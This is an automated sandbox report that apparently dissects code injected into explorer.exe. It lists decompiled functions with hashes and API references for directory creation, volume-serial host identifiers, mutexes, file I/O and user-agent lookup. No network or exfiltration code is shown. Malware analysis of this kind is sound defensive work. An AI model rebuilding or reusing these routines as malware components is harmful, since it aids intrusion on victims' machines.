Snapshot File: hcaresult_4_2_1100000_explorer.jbxd

Yara matches

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 739d4bdac7d3d498f87d9de365745a4ba96099b85646217ddacd99f6b3275457
Instruction ID: cadf327a022ed75f60014274b6495beac487830a1999234dcc438c82eb3a6061
Opcode Fuzzy Hash: 739d4bdac7d3d498f87d9de365745a4ba96099b85646217ddacd99f6b3275457
Instruction Fuzzy Hash: EE617975940209EFDB08CF98D885BECBBF1BF09365F154469E815AB361D734A980CFA4

Uniqueness

Uniqueness Score: -1.00%

Function 0110265C, Relevance: 1.6, APIs: 1, Instructions: 110
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 60%

			E0110265C(void* __ebx, void* __esi, void* __eflags, void* __fp0, intOrPtr _a4, intOrPtr _a8) {
				WCHAR* _v8;
				char _v12;
				char _v16;
				char _v48;
				char _v568;
				char _v1088;
				void* _t32;
				void* _t34;
				struct _SECURITY_ATTRIBUTES* _t36;
				int _t38;
				void* _t41;
				char _t44;
				char* _t46;
				char _t51;
				char* _t56;
				void* _t68;
				intOrPtr* _t77;
				intOrPtr* _t78;

				E0110CF3E( &_v48, __eflags, __fp0, _a8);
				_t32 = E0110D1EF(_a4);
				_pop(_t68);
				if(_t32 == 0) {
					_t34 = E011027D1(_t68, __esi, _a4,  &_v1088, 0x104); // executed
					_t78 = _t77 + 0xc;
					__eflags = _t34;
					if(_t34 == 0) {
						_v8 = E011027A6(_t68);
					} else {
						E0110B800(_t68,  &_v568); // executed
						 *_t78 = 0x2aa;
						_t44 = E01104FBA(_t68);
						_push(0);
						_v12 = _t44;
						_push( &_v48);
						_t46 = "\\";
						_push(_t46);
						_push(_v12);
						_push(_t46);
						_push( &_v568);
						_push(_t46);
						_v8 = E0110ABBC( &_v1088);
						E0110A741( &_v12);
					}
				} else {
					_t51 = E01104FBA(_t68, 0x28f);
					 *_t77 = 0x104;
					_push( &_v568);
					_v16 = _t51;
					_push(_t51);
					if( *((intOrPtr*)( *0x112b760 + 0xe0))() != 0) {
						_v12 = E01104FBA( &_v568, 0x2aa);
						_push(0);
						_push( &_v48);
						_t56 = "\\";
						_push(_t56);
						_push(_v12);
						_push(_t56);
						_v8 = E0110ABBC( &_v568);
						E0110A741( &_v12);
					} else {
						_v8 = E011027A6( &_v568);
					}
					E0110A741( &_v16);
				}
				_t36 = E0110B8D9(_v8); // executed
				if(_t36 != 0) {
					L12:
					return _v8;
				} else {
					_t38 = CreateDirectoryW(_v8, _t36); // executed
					if(_t38 == 0) {
						L11:
						E011094F4( &_v8, 0xfffffffe);
						goto L12;
					}
					_t41 = E0110B8D9(_v8); // executed
					if(_t41 != 0) {
						goto L12;
					}
					goto L11;
				}
			}

0x0110266c
0x01102674
0x0110267a
0x0110267e
0x01102708
0x0110270d
0x01102710
0x01102712
0x01102769
0x01102714
0x0110271b
0x01102720
0x01102727
0x0110272c
0x0110272e
0x01102734
0x01102735
0x0110273a
0x0110273b
0x01102744
0x01102745
0x01102746
0x01102753
0x0110275a
0x0110275f
0x01102680
0x01102685
0x0110268a
0x01102697
0x01102698
0x0110269b
0x011026a9
0x011026bf
0x011026c2
0x011026c7
0x011026c8
0x011026cd
0x011026ce
0x011026d1
0x011026de
0x011026e5
0x011026ab
0x011026b0
0x011026b0
0x011026f1
0x011026f6
0x0110276f
0x01102777
0x011027a1
0x011027a5
0x01102779
0x0110277d
0x01102785
0x01102794
0x0110279a
0x00000000
0x011027a0
0x0110278a
0x01102792
0x00000000
0x00000000
0x00000000
0x01102792

APIs

CreateDirectoryW.KERNELBASE(?,00000000), ref: 0110277D

Memory Dump Source

Source File: 00000004.00000002.973589332.0000000001100000.00000040.00000001.sdmp, Offset: 01100000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1100000_explorer.jbxd

Yara matches

Similarity

API ID: CreateDirectory
String ID:
API String ID: 4241100979-0
Opcode ID: 6dd60f4ffa21a8bbdf4b3255cabeef18d0e89d0f7d1486c5061883ed5ca4c781
Instruction ID: e7abba8d3348481dfc5fd017ae02c8a9126a7e3718bdae3e32ad646b23375308
Opcode Fuzzy Hash: 6dd60f4ffa21a8bbdf4b3255cabeef18d0e89d0f7d1486c5061883ed5ca4c781
Instruction Fuzzy Hash: 71316571D0420ABFDF1AFBA4DD48EDD77BCAF14214F5040A6E505E61D0EBB09B448B51

Uniqueness

Uniqueness Score: -1.00%

Function 0110D060, Relevance: 1.6, APIs: 1, Instructions: 82
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E0110D060(void* __ecx, WCHAR* __edi, WCHAR* _a4) {
				long _v8;
				long _v12;
				WCHAR* _v16;
				short _v528;
				short _v1040;
				short _v1552;
				WCHAR* _t25;
				void* _t30;
				long _t35;
				void* _t42;
				WCHAR* _t53;

				_t53 = __edi;
				_t42 = __ecx;
				_v8 = 0;
				L0111CAF8();
				_v12 = 0x100;
				 *((intOrPtr*)( *0x112b760 + 0xb0))( &_v528,  &_v12, __edi, 0, 0x100);
				lstrcpynW(__edi,  &_v528, 0x100);
				_t25 = E01108A90(_t42, 0x589);
				_v16 = _t25;
				if(GetVolumeInformationW(_t25,  &_v1552, 0x100,  &_v8, 0, 0,  &_v1040, 0x100) == 0) {
					_v8 = 0;
				}
				E0110A741( &_v16);
				_t30 = E0110C8FB(_t53);
				E0110AF04( &(_t53[E0110C8FB(_t53)]), 0x100 - _t30, L"%u", _v8);
				lstrcatW(_t53, _a4);
				_t35 = E0110C8FB(_t53);
				_v12 = _t35;
				CharUpperBuffW(_t53, _t35);
				return E0110BF2C(0, _t53, E0110C8FB(_t53) + _t37);
			}

0x0110d060
0x0110d060
0x0110d075
0x0110d078
0x0110d090
0x0110d093
0x0110d0a2
0x0110d0ad
0x0110d0c9
0x0110d0d7
0x0110d0d9
0x0110d0d9
0x0110d0e0
0x0110d0f0
0x0110d101
0x0110d10d
0x0110d115
0x0110d11c
0x0110d11f
0x0110d13c

APIs

GetVolumeInformationW.KERNELBASE(00000000,?,00000100,00000000,00000000,00000000,?,00000100,?,00000228,00000105), ref: 0110D0D2

Memory Dump Source

Source File: 00000004.00000002.973589332.0000000001100000.00000040.00000001.sdmp, Offset: 01100000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1100000_explorer.jbxd

Yara matches

Similarity

API ID: InformationVolume
String ID:
API String ID: 2039140958-0
Opcode ID: c747e643a7c969a2ceb6547aa5d92356b8beee677d36905cfe7cb34ae6caee83
Instruction ID: c901185597bc7af1e11444db0641a4509f48f98af9462e49deba4d1495ab1007
Opcode Fuzzy Hash: c747e643a7c969a2ceb6547aa5d92356b8beee677d36905cfe7cb34ae6caee83
Instruction Fuzzy Hash: 402162F2D04219BFDB19ABA4DC89DFE777CEF58204F1041AAF501E2180EB745A518BA5

Uniqueness

Uniqueness Score: -1.00%

Function 01103F29, Relevance: 1.6, APIs: 1, Instructions: 73
synchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 81%

			E01103F29(void* __ecx) {
				signed int _v8;
				signed int _t3;
				signed int _t4;
				intOrPtr _t10;
				intOrPtr _t12;
				intOrPtr _t13;
				intOrPtr* _t26;

				_t3 = CreateMutexA(0, 0, 0); // executed
				 *0x112b780 = _t3;
				if(_t3 != 0) {
					_t3 = CreateMutexA(0, 0, 0);
					 *0x112b77c = _t3;
					if(_t3 == 0) {
						goto L1;
					} else {
						_t3 = E01104FA3();
						_v8 = _t3;
						if(_t3 == 0) {
							goto L1;
						} else {
							 *0x112b7ac = E0110AA4C(0, _t3);
							E0110A72E( &_v8);
							 *_t26 = 0x100;
							_t10 = E01109568();
							 *0x112b798 = _t10;
							if(_t10 != 0) {
								 *0x112b7a4 = 0;
								 *0x112b790 = 0;
								 *0x112b794 = 0;
								_t12 = E01109568(0x401);
								 *0x112b784 = _t12;
								if(_t12 != 0) {
									if( *0x112b864 == 0) {
										E0111E295(E0111AF02, E0111AF0B);
									}
									_t13 = E0110E6ED(0x11285ac, 8, 0xb22); // executed
									 *0x112b770 = _t13;
									_t4 = 0;
								} else {
									_push(0xfffffffc);
									goto L6;
								}
							} else {
								_push(0xfffffffe);
								L6:
								_pop(_t4);
							}
						}
					}
				} else {
					L1:
					_t4 = _t3 | 0xffffffff;
				}
				return _t4;
			}

0x01103f3a
0x01103f3c
0x01103f43
0x01103f50
0x01103f52
0x01103f59
0x00000000
0x01103f5b
0x01103f60
0x01103f65
0x01103f6a
0x00000000
0x01103f6c
0x01103f74
0x01103f7c
0x01103f81
0x01103f88
0x01103f8e
0x01103f95
0x01103fa3
0x01103fa9
0x01103faf
0x01103fb5
0x01103fbb
0x01103fc2
0x01103fce
0x01103fda
0x01103fe0
0x01103fed
0x01103ff5
0x01103ffa
0x01103fc4
0x01103fc4
0x00000000
0x01103fc4
0x01103f97
0x01103f97
0x01103f99
0x01103f99
0x01103f99
0x01103f95
0x01103f6a
0x01103f45
0x01103f45
0x01103f45
0x01103f45
0x01103fff

APIs

CreateMutexA.KERNELBASE(00000000,00000000,00000000,00000000,?,?,?,0110295F), ref: 01103F3A

Memory Dump Source

Source File: 00000004.00000002.973589332.0000000001100000.00000040.00000001.sdmp, Offset: 01100000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1100000_explorer.jbxd

Yara matches

Similarity

API ID: CreateMutex
String ID:
API String ID: 1964310414-0
Opcode ID: 8fe483bba5e740376cc47e14ed790f7edf1afcd75b50f08eb41c456ff917aa7a
Instruction ID: 22364140d69b1061d84a3456f23a3bf0766853deb651a07a924056ee635cb8c5
Opcode Fuzzy Hash: 8fe483bba5e740376cc47e14ed790f7edf1afcd75b50f08eb41c456ff917aa7a
Instruction Fuzzy Hash: 25119071D58614BED73FAF39AC0591A3BB8EB94724728063EE165D71C4EBF044808717

Uniqueness

Uniqueness Score: -1.00%

Function 01102FCC, Relevance: 1.6, APIs: 1, Instructions: 68
COMMON

Download Yara Rule

C-Code - Quality: 94%

			E01102FCC(void* __edi, void* __fp0) {
				signed int _v8;
				short _v34;
				short _v36;
				short _v38;
				short _v40;
				void* __ebx;
				intOrPtr _t25;
				intOrPtr* _t28;
				intOrPtr _t34;
				intOrPtr* _t35;
				signed int _t42;
				void* _t45;
				intOrPtr* _t47;
				intOrPtr* _t48;
				void* _t58;

				_t58 = __fp0;
				_t45 = __edi;
				_v8 = _v8 & 0x00000000;
				_t48 = E01109568(0x10);
				_t25 =  *0x112b740;
				if( *((short*)(_t25 + 0x22a)) == 0x3a) {
					_t44 =  *((intOrPtr*)(_t25 + 0x228));
					_v40 =  *((intOrPtr*)(_t25 + 0x228));
					_v38 =  *((intOrPtr*)(_t25 + 0x22a));
					_v36 =  *((intOrPtr*)(_t25 + 0x22c));
					_v34 = 0;
					GetDriveTypeW( &_v40); // executed
				}
				 *(_t48 + 4) =  *(_t48 + 4) & 0x00000000;
				 *_t48 = 2;
				 *((intOrPtr*)(_t48 + 8)) =  *((intOrPtr*)( *0x112b740 + 0x224));
				_t28 = E01102F29(_t58,  *((intOrPtr*)( *0x112b740 + 0x224)));
				_t16 = _t48 + 0xc; // 0xc
				_t40 = _t16;
				_pop(_t42);
				 *_t16 = _t28;
				if(_t28 == 0) {
					L9:
					if(E011029C3() == 0) {
						goto L12;
					} else {
						_v8 = _v8 | 0xffffffff;
					}
				} else {
					_t44 =  *_t28;
					_t42 = 0;
					_push(_t45);
					if(_t44 == 0) {
						L7:
						_t34 = 0;
					} else {
						_t35 =  *((intOrPtr*)(_t28 + 4));
						_t47 = _t35;
						while( *_t47 != 0x3b) {
							_t42 = _t42 + 1;
							_t47 = _t47 + 8;
							if(_t42 < _t44) {
								continue;
							} else {
								goto L7;
							}
							goto L8;
						}
						_t34 =  *((intOrPtr*)(_t35 + 4 + _t42 * 8));
					}
					L8:
					if(_t34 != 0) {
						L12:
						E0110851D(_t48, _t42, _t44, _t58); // executed
					} else {
						goto L9;
					}
				}
				E01108C76(_t40);
				return _v8;
			}

0x01102fcc
0x01102fcc
0x01102fd2
0x01102fdf
0x01102fe1
0x01102fef
0x01102ff1
0x01102ff8
0x01103003
0x0110300e
0x01103014
0x0110301c
0x0110301c
0x01103022
0x01103026
0x01103038
0x0110303b
0x01103040
0x01103040
0x01103043
0x01103044
0x01103048
0x0110306c
0x01103073
0x00000000
0x01103075
0x01103075
0x01103075
0x0110304a
0x0110304a
0x0110304c
0x0110304e
0x01103051
0x01103065
0x01103065
0x01103053
0x01103053
0x01103056
0x01103058
0x0110305d
0x0110305e
0x01103063
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x01103063
0x0110307b
0x0110307b
0x01103067
0x0110306a
0x01103081
0x01103083
0x00000000
0x00000000
0x00000000
0x0110306a
0x01103088
0x01103093

APIs

Part of subcall function 01109568: RtlAllocateHeap.NTDLL(00000008,?,?,0110AC93,00000100,?,01102E84), ref: 01109576

GetDriveTypeW.KERNELBASE(?), ref: 0110301C

Memory Dump Source

Source File: 00000004.00000002.973589332.0000000001100000.00000040.00000001.sdmp, Offset: 01100000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1100000_explorer.jbxd

Yara matches

Similarity

API ID: AllocateDriveHeapType
String ID:
API String ID: 414167704-0
Opcode ID: 45c70973d255dbd787b44a3a15a7e919792b594cc3afafa17323cc3c98e90070
Instruction ID: 1814a4a927c9d4dcfa2046fbb3d35d39d57b36fa4b63eefd97f2dca5f7947006
Opcode Fuzzy Hash: 45c70973d255dbd787b44a3a15a7e919792b594cc3afafa17323cc3c98e90070
Instruction Fuzzy Hash: A121DE30E112069FDB2AEFA8D408AAA73F4FF08354F248078D455D72D8EBB1D9408765

Uniqueness

Uniqueness Score: -1.00%

Function 0110661E, Relevance: 1.6, APIs: 1, Instructions: 52
COMMON

Download Yara Rule

C-Code - Quality: 81%

			E0110661E(void* __esi, void* __eflags, intOrPtr _a4, intOrPtr _a8) {
				signed int _v8;
				char _v12;
				char _v52;
				void* _t24;

				_v8 = _v8 & 0x00000000;
				E0110B497( &_v52, __eflags, _a4);
				if( *((intOrPtr*)( *0x112b740 + 0x644)) > 0) {
					L1:
					 *((intOrPtr*)( *0x112b760 + 0xb4))(0x32);
					goto L1;
				}
				_push(0);
				_push( &_v52);
				_push("\\");
				_v12 = E0110AB67("Global");
				_t24 = E011066B4(_t23, _t23, _a8,  &_v8); // executed
				__eflags = _t24 - 1;
				if(_t24 == 1) {
					FindCloseChangeNotification(_v8);
					_t13 =  &_v8;
					 *_t13 = _v8 & 0x00000000;
					__eflags =  *_t13;
					E011066B4( &_v52,  &_v52, _a8,  &_v8); // executed
				}
				E011094F4( &_v12, 0xffffffff);
				return _v8;
			}

0x01106624
0x0110662f
0x01106642
0x01106644
0x0110664b
0x00000000
0x0110664b
0x01106653
0x01106658
0x01106659
0x0110666f
0x01106673
0x0110667b
0x0110667e
0x01106688
0x0110668b
0x0110668b
0x0110668b
0x0110669a
0x0110669f
0x011066a8
0x011066b3

APIs

FindCloseChangeNotification.KERNELBASE(00000000,?,?,?,?,?,01102CF1), ref: 01106688

Memory Dump Source

Source File: 00000004.00000002.973589332.0000000001100000.00000040.00000001.sdmp, Offset: 01100000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1100000_explorer.jbxd

Yara matches

Similarity

API ID: ChangeCloseFindNotification
String ID:
API String ID: 2591292051-0
Opcode ID: 95151529875d127234e980028aa9ae2925253851396dddf4784fea01d802f742
Instruction ID: 32b4064156d32bab0950d121e3786c86553e6c1a31f7142c3d5b20d5f4b41ac5
Opcode Fuzzy Hash: 95151529875d127234e980028aa9ae2925253851396dddf4784fea01d802f742
Instruction Fuzzy Hash: 1A114532C14208FFDB1AEB94DD49FAD77B8EB10218F1000A4E914A62E1DBB0AB64CB55

Uniqueness

Uniqueness Score: -1.00%

Function 011066B4, Relevance: 1.5, APIs: 1, Instructions: 42
synchronizationCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E011066B4(signed int __eax, CHAR* _a4, intOrPtr _a8, intOrPtr* _a12) {
				signed int _t14;
				void* _t16;
				void* _t22;

				if(_a4 != 0) {
					_t22 = CreateMutexA(0, 1, _a4);
					if(_t22 != 0) {
						if(GetLastError() != 0xb7) {
							L8:
							 *_a12 = _t22;
							_t14 = 1;
						} else {
							_t16 =  *((intOrPtr*)( *0x112b760 + 0x2c))(_t22, _a8);
							if(_t16 == 0 || _t16 == 0x80) {
								goto L8;
							} else {
								 *((intOrPtr*)( *0x112b760 + 0x30))(_t22);
								_t14 = 0;
							}
						}
					} else {
						_t14 = GetLastError() | 0xffffffff;
					}
					return _t14;
				} else {
					return __eax | 0xffffffff;
				}
			}

0x011066bb
0x011066d5
0x011066d9
0x011066f1
0x01106717
0x0110671a
0x0110671e
0x011066f3
0x011066fc
0x01106701
0x00000000
0x0110670a
0x01106710
0x01106713
0x01106713
0x01106701
0x011066db
0x011066e1
0x011066e1
0x01106721
0x011066bd
0x011066c1
0x011066c1

APIs

CreateMutexA.KERNELBASE(00000000,00000001,00000000,?,?,01106678,00000000,?,00000000,01128330,0112832C,?,00000000), ref: 011066CF

Memory Dump Source

Source File: 00000004.00000002.973589332.0000000001100000.00000040.00000001.sdmp, Offset: 01100000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1100000_explorer.jbxd

Yara matches

Similarity

API ID: CreateMutex
String ID:
API String ID: 1964310414-0
Opcode ID: 03c346f97b87f689bf246fa40d47b36adbc2ed2bc52b0acbdeff3ce6381e7992
Instruction ID: 042791ced7df206bedc5fd25e24432b9874f9e2b580fa8e3d791e06dbf358ebd
Opcode Fuzzy Hash: 03c346f97b87f689bf246fa40d47b36adbc2ed2bc52b0acbdeff3ce6381e7992
Instruction Fuzzy Hash: 6F016D31908918EFDB3A5F68DC48B693BA5FB04361F154661F929CA1E1D7B0C460CB61

Uniqueness

Uniqueness Score: -1.00%

Function 0110B615, Relevance: 1.5, APIs: 1, Instructions: 41fileCOMMON

Download Yara Rule

APIs

ReadFile.KERNELBASE(00000000,00000000,01120514,00000000,00000000,00000000,00000000,00000001,?,0110B72F,00000000,00000000,00000000,?,?,0111B30F), ref: 0110B64C

Memory Dump Source

Source File: 00000004.00000002.973589332.0000000001100000.00000040.00000001.sdmp, Offset: 01100000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1100000_explorer.jbxd

Yara matches

Similarity

API ID: FileRead
String ID:
API String ID: 2738559852-0
Opcode ID: 754a7a76ba29994bc682c7b1144abdf7846bce50b77808e4f45c9357ac5ff10f
Instruction ID: 9f7573403dffebf7cf688bff767332acbf6e4cf08fdf5b201fb54e2777eefea5
Opcode Fuzzy Hash: 754a7a76ba29994bc682c7b1144abdf7846bce50b77808e4f45c9357ac5ff10f
Instruction Fuzzy Hash: 4FF049BA904218FF9B26CF99CC84CEB7BFCEB85A10B114165F909D7144E770AA00DB64

Uniqueness

Uniqueness Score: -1.00%

Function 0110DC0E, Relevance: 1.5, APIs: 1, Instructions: 40
COMMON

Download Yara Rule

C-Code - Quality: 79%

			E0110DC0E() {
				char _v8;
				intOrPtr _t13;
				void* _t15;

				if( *((intOrPtr*)( *0x112b754)) == 0) {
					_v8 = E01108A79();
					 *0x112b814 = E0110AA4C(0, _t7);
					E0110A72E( &_v8);
					goto L4;
				} else {
					_v8 = 0x100;
					_t13 = E01109568(0x101);
					 *0x112b814 = _t13;
					_t15 =  *((intOrPtr*)( *0x112b754))(0, _t13,  &_v8); // executed
					if(_t15 == 0) {
						L4:
						return 0;
					} else {
						return E011094F4(0x112b814, 0xffffffff) | 0xffffffff;
					}
				}
			}

0x0110dc1a
0x0110dc62
0x0110dc6d
0x0110dc76
0x00000000
0x0110dc1c
0x0110dc21
0x0110dc28
0x0110dc33
0x0110dc3f
0x0110dc43
0x0110dc7b
0x0110dc7e
0x0110dc45
0x0110dc57
0x0110dc57
0x0110dc43

APIs

Part of subcall function 01109568: RtlAllocateHeap.NTDLL(00000008,?,?,0110AC93,00000100,?,01102E84), ref: 01109576

ObtainUserAgentString.URLMON(00000000,00000000,00000100), ref: 0110DC3F

Part of subcall function 011094F4: RtlFreeHeap.NTDLL(00000000,00000000,01120560,0000011C), ref: 0110953A

Memory Dump Source

Source File: 00000004.00000002.973589332.0000000001100000.00000040.00000001.sdmp, Offset: 01100000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1100000_explorer.jbxd

Yara matches

Similarity

API ID: Heap$AgentAllocateFreeObtainStringUser
String ID:
API String ID: 471734292-0
Opcode ID: 98733a215ec3a1a8b79e74743df7d5f780072afbb381478d2967170fa4d5b780
Instruction ID: cbe53024f0a855e568cad0a84cc72e214b955a958b82873ec5ab2323f464331f
Opcode Fuzzy Hash: 98733a215ec3a1a8b79e74743df7d5f780072afbb381478d2967170fa4d5b780
Instruction Fuzzy Hash: 32F0A471919205AED71DDFF4FA0574937E89B00328F180139E125D71C0DBF09A80C724

Uniqueness

Uniqueness Score: -1.00%

Function 011094F4, Relevance: 1.5, APIs: 1, Instructions: 33
memoryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E011094F4(char _a4, intOrPtr _a8) {
				char _t3;
				intOrPtr _t4;
				void* _t9;

				_t3 = _a4;
				if(_t3 == 0) {
					return _t3;
				}
				_t9 =  *_t3;
				if(_t9 != 0) {
					 *_t3 =  *_t3 & 0x00000000;
					_t4 = _a8;
					if(_t4 != 0xffffffff) {
						if(_t4 == 0xfffffffe) {
							_t4 = E0110C8FB(_t9);
						}
					} else {
						_t4 = E0110C90F(_t9);
					}
					E0110957E(_t9, 0, _t4);
					_t3 = RtlFreeHeap( *0x112b804, 0, _t9); // executed
				}
				return _t3;
			}

0x011094f7
0x011094fc
0x01109542
0x01109542
0x011094ff
0x01109503
0x01109505
0x01109508
0x0110950e
0x0110951c
0x01109520
0x01109520
0x01109510
0x01109511
0x01109516
0x01109529
0x0110953a
0x0110953a
0x00000000

APIs

RtlFreeHeap.NTDLL(00000000,00000000,01120560,0000011C), ref: 0110953A

Memory Dump Source

Source File: 00000004.00000002.973589332.0000000001100000.00000040.00000001.sdmp, Offset: 01100000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1100000_explorer.jbxd

Yara matches

Similarity

API ID: FreeHeap
String ID:
API String ID: 3298025750-0
Opcode ID: 16f972ad9184ae1dd99911b47e305c0e539ba48290d833bf7aee4e6fd04b6a59
Instruction ID: 90830aa11c51133424e0477e640c3d902b303844e4f91719b3d564a7c05a86d7
Opcode Fuzzy Hash: 16f972ad9184ae1dd99911b47e305c0e539ba48290d833bf7aee4e6fd04b6a59
Instruction Fuzzy Hash: C1F0EC31E015196FDB3B2A29AC20BAE37585F0263CF280352F52DA61D2DBE19A4046D5

Uniqueness

Uniqueness Score: -1.00%

Function 0110EF27, Relevance: 1.5, APIs: 1, Instructions: 33
synchronizationCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0110EF27(CHAR* _a4, intOrPtr _a8) {
				void* _t11;
				void* _t16;

				_t16 = CreateMutexA(0, 1, _a4);
				if(_t16 != 0) {
					if(GetLastError() == 0xb7) {
						_t11 =  *((intOrPtr*)( *0x112b760 + 0x2c))(_t16, _a8);
						if(_t11 != 0 && _t11 != 0x80) {
							 *((intOrPtr*)( *0x112b760 + 0x30))(_t16);
							_t16 = 0;
						}
					}
					return _t16;
				}
				GetLastError();
				return 0;
			}

0x0110ef3d
0x0110ef41
0x0110ef58
0x0110ef63
0x0110ef68
0x0110ef77
0x0110ef7a
0x0110ef7a
0x0110ef68
0x00000000
0x0110ef7c
0x0110ef43
0x00000000

APIs

CreateMutexA.KERNELBASE(00000000,00000001,00000000,?,?,011080F8,?,00000064,00000001,011204F8,00000000,00000000), ref: 0110EF37

Memory Dump Source

Source File: 00000004.00000002.973589332.0000000001100000.00000040.00000001.sdmp, Offset: 01100000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1100000_explorer.jbxd

Yara matches

Similarity

API ID: CreateMutex
String ID:
API String ID: 1964310414-0
Opcode ID: 90751dd53839266c0cad12955aba40bbd6c10a2907c8c34ae3b3c0d0dc714de2
Instruction ID: 9ec2cb3a75fe4f09858d32a3c080e039fa58a13b88606a2aba8ac30d35caaf78
Opcode Fuzzy Hash: 90751dd53839266c0cad12955aba40bbd6c10a2907c8c34ae3b3c0d0dc714de2
Instruction Fuzzy Hash: FBF0BE31A49128AFD73A1FA99848B59BBA4FF0C751F090864FA59DB1D1CBB0C45087A2

Uniqueness

Uniqueness Score: -1.00%

Function 0110B7B7, Relevance: 1.5, APIs: 1, Instructions: 32
fileCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0110B7B7(WCHAR* _a4, long _a8) {
				void* _t12;

				_t12 = CreateFileW(_a4, 0x40000000, 0, 0, _a8, 0x80, 0);
				if(_t12 != 0xffffffff) {
					if(_a8 == 4) {
						 *((intOrPtr*)( *0x112b760 + 0x80))(_t12, 0, 0, 2);
					}
					return _t12;
				}
				return 0;
			}

0x0110b7d9
0x0110b7de
0x0110b7e8
0x0110b7f4
0x0110b7f4
0x00000000
0x0110b7fa
0x00000000

APIs

CreateFileW.KERNELBASE(?,40000000,00000000,00000000,?,00000080,00000000,00000000,?,?,0110C644,?,00000001), ref: 0110B7D6

Memory Dump Source

Source File: 00000004.00000002.973589332.0000000001100000.00000040.00000001.sdmp, Offset: 01100000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1100000_explorer.jbxd

Yara matches

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: e2b1a486e57c1c88b3049b4e31188be4c6ca59611f824448f6831813021247a7
Instruction ID: 65778b9d99ff0c0f8b50afcf08e8623a7078bcea0866e1d60f4b36f5a5970dab
Opcode Fuzzy Hash: e2b1a486e57c1c88b3049b4e31188be4c6ca59611f824448f6831813021247a7
Instruction Fuzzy Hash: E0F03039605528BAC7365A6A9C4CF9B3FA8FF866B1F098120FA2D861D1C6709400C7A8

Uniqueness

Uniqueness Score: -1.00%

Function 0110B691, Relevance: 1.5, APIs: 1, Instructions: 32
fileCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0110B691(void* __ecx, void* _a4, intOrPtr _a8, intOrPtr _a12) {
				long _v8;
				void* _t12;
				void* _t22;

				_t22 = 0;
				if(_a12 == 0) {
					L3:
					_t12 = 1;
				} else {
					while(1) {
						_v8 = _v8 & 0x00000000;
						if(WriteFile(_a4, _a8 + _t22, _a12 - _t22,  &_v8, 0) == 0) {
							break;
						}
						_t22 = _t22 + _v8;
						if(_t22 < _a12) {
							continue;
						} else {
							goto L3;
						}
						goto L4;
					}
					_t12 = 0;
				}
				L4:
				return _t12;
			}

0x0110b696
0x0110b69b
0x0110b6cd
0x0110b6cf
0x0110b69d
0x0110b69d
0x0110b69d
0x0110b6c3
0x00000000
0x00000000
0x0110b6c5
0x0110b6cb
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x0110b6cb
0x0110b6d3
0x0110b6d3
0x0110b6d0
0x0110b6d2

APIs

WriteFile.KERNELBASE(?,?,?,00000000,00000000,00000000,00000001,?,0110C660,00000000,00000000,?), ref: 0110B6BB

Memory Dump Source

Source File: 00000004.00000002.973589332.0000000001100000.00000040.00000001.sdmp, Offset: 01100000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1100000_explorer.jbxd

Yara matches

Similarity

API ID: FileWrite
String ID:
API String ID: 3934441357-0
Opcode ID: b1c09c90939132a63e5046c9313123ca5e08564fa06283f5ba333e619e1c609e
Instruction ID: 77921bdd74e5f30481c55c6226af9b746f6c1d9c06fb73d71093aacb3be2fa31
Opcode Fuzzy Hash: b1c09c90939132a63e5046c9313123ca5e08564fa06283f5ba333e619e1c609e
Instruction Fuzzy Hash: 02F05872E1421DAFDB15DE58CC48BAB7BACFB00650F040060B918E3180D3B0EA10CBA8

Uniqueness

Uniqueness Score: -1.00%

Function 0110B5CF, Relevance: 1.5, APIs: 1, Instructions: 31
COMMON

Download Yara Rule

C-Code - Quality: 86%

			E0110B5CF(intOrPtr _a4) {
				void* _t13;
				void* _t15;

				_t13 = 0;
				_t15 =  *((intOrPtr*)( *0x112b760 + 0xbc))(2, 0, _a4);
				if(_t15 != 0) {
					_push(_t15);
					if( *((intOrPtr*)( *0x112b760 + 0xc0))() != 0) {
						_t13 = 1;
					}
					FindCloseChangeNotification(_t15);
					return _t13;
				}
				return 0;
			}

0x0110b5dc
0x0110b5e7
0x0110b5eb
0x0110b5f8
0x0110b601
0x0110b612
0x0110b612
0x0110b609
0x00000000
0x0110b60c
0x00000000

APIs

FindCloseChangeNotification.KERNELBASE(00000000,?,011078CA,?,00000000,0112B730,?,?,?,?,01106CD3,00000000), ref: 0110B609

Memory Dump Source

Source File: 00000004.00000002.973589332.0000000001100000.00000040.00000001.sdmp, Offset: 01100000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1100000_explorer.jbxd

Yara matches

Similarity

API ID: ChangeCloseFindNotification
String ID:
API String ID: 2591292051-0
Opcode ID: 8e862b8998fb0ad415fd2769955fff0b90073309dcf8f5b383d824c8f193667e
Instruction ID: cfb1eeae4fa45377d7177e4be148849e3b7de0e8af4990ebbd7ce123475d0bbe
Opcode Fuzzy Hash: 8e862b8998fb0ad415fd2769955fff0b90073309dcf8f5b383d824c8f193667e
Instruction Fuzzy Hash: 3BF0E53620C518AFD73B9F6A9C4CE673BA8FBC9350F0A00B4F519C7151D76084508799

